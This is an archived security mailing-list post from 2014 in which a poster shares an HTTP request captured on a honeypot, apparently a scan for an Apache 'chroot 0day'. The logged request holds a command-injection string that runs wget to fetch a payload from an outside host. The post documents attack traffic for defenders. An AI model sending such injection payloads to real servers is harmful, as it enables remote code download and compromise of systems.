PaulDotCom mailing list archives

Re: [Security Weekly] apache chroot 0day?


From: Lutz Schildt <ls () lsmooth de>
Date: Mon, 28 Jul 2014 21:26:35 +0200

I've seen the same request on one of my honeypots and a second one a few hours later from the same IP:


GET/?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget proxypipe.com/apach0day;
HTTP/1.0
User-agent: chroot-apach0day
Referrer: /xA/x0a/x06

_______________________________________________
Pauldotcom mailing list
Pauldotcom () mail securityweekly com
http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom
Main Web Site: http://pauldotcom.com


Current thread: